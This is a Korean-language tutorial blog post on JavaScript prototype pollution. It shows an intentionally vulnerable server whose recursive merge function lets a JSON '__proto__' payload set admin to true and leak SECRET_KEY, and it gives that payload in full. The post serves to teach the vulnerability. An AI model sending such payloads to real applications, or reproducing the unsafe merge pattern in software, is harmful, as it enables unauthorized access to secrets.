이번 포스팅에서는 Javascript 애플리케이션에서 발생할 수 있는 Prototype Pollution 취약점에 대해 기록한다.
Prototype은 다른 객체에서 프로터티를 제공하는 객체이다. 모든 객체는 prototype이라는 내부 슬록을 가지며, 상속을 구현하는 Prototype 객체를 가르킨다.
말그대로 prototype을 오염시키는 것으로 객체 리터럴의 __proto__
는 Object.prototype
과 같다는 것을 이용해 다른 객체 속성에 영향을 주는 방식이다.
아래와 같이 브라우저 콘솔에서 간단히 확인해 볼 수 있다.
백분이 불여일견... 취약한 코드로 구성된 서버에 Prototype Pollution 공격을 확인해 보겠다.
먼저 특정 Javascript 애플리케이션의 서버 코드는 아래와 같다.
function merge(dst, src) {
for (var attr in src) {
if (typeof(dst[attr]) == "object" &&
typeof(src[attr]) == "object") {
merge(dst[attr], src[attr]);
} else {
dst[attr] = src[attr];
}
}
return dst;
}
if (request.method == "POST") {
if (request.headers.content_type == 'application/json') {
user=merge({"user":""}, JSON.parse(request.post.data));
admin={};
response.headers.content_type = 'application/json' ;
if (admin.admin == true) {
write(JSON.stringify({"key": ""+process.env['SECRET_KEY']}));
} else {
write(JSON.stringify(user));
}
}
위 코드에서 서버는 POST로 JSON 데이터를 받아 user 변수에 저장하고 admin.admin이 true일 경우 SECRET_KEY를 응답하고 false일 경우 전달받은 데이터를 그대로 응답한다.
그렇다면 아래와 같은 JSON 데이터를 전달하면 어떨까?
{
"user": "juicemin",
"admin": true
}
위 서버 코드에서도 확인했겠지만 merge에서 JSON의 key/value를 파싱하기에 admin 객체의 admin 값을 변조하는 것은 불가능하다.
여기서 Prototype Pollution을 사용할 수 있다. 코드를 다시보면 POST 데이터를 파싱하고 바로 하단에 admin 객체를 하나 생성한다.
즉 전달되는 JSON 데이터에 __prototype__
을 끼워넣어서 아래 다른 객체의 프로퍼티를 조작할 수 있다.
{
"user": "juicemon",
"__proto__": {
"admin": true
}
}
오염된 Prototype을 전달하여 admin객체의 admin이라는 프로퍼티에 true값을 삽입하여 SECRET_KEY를 응답받을 수 있다.😎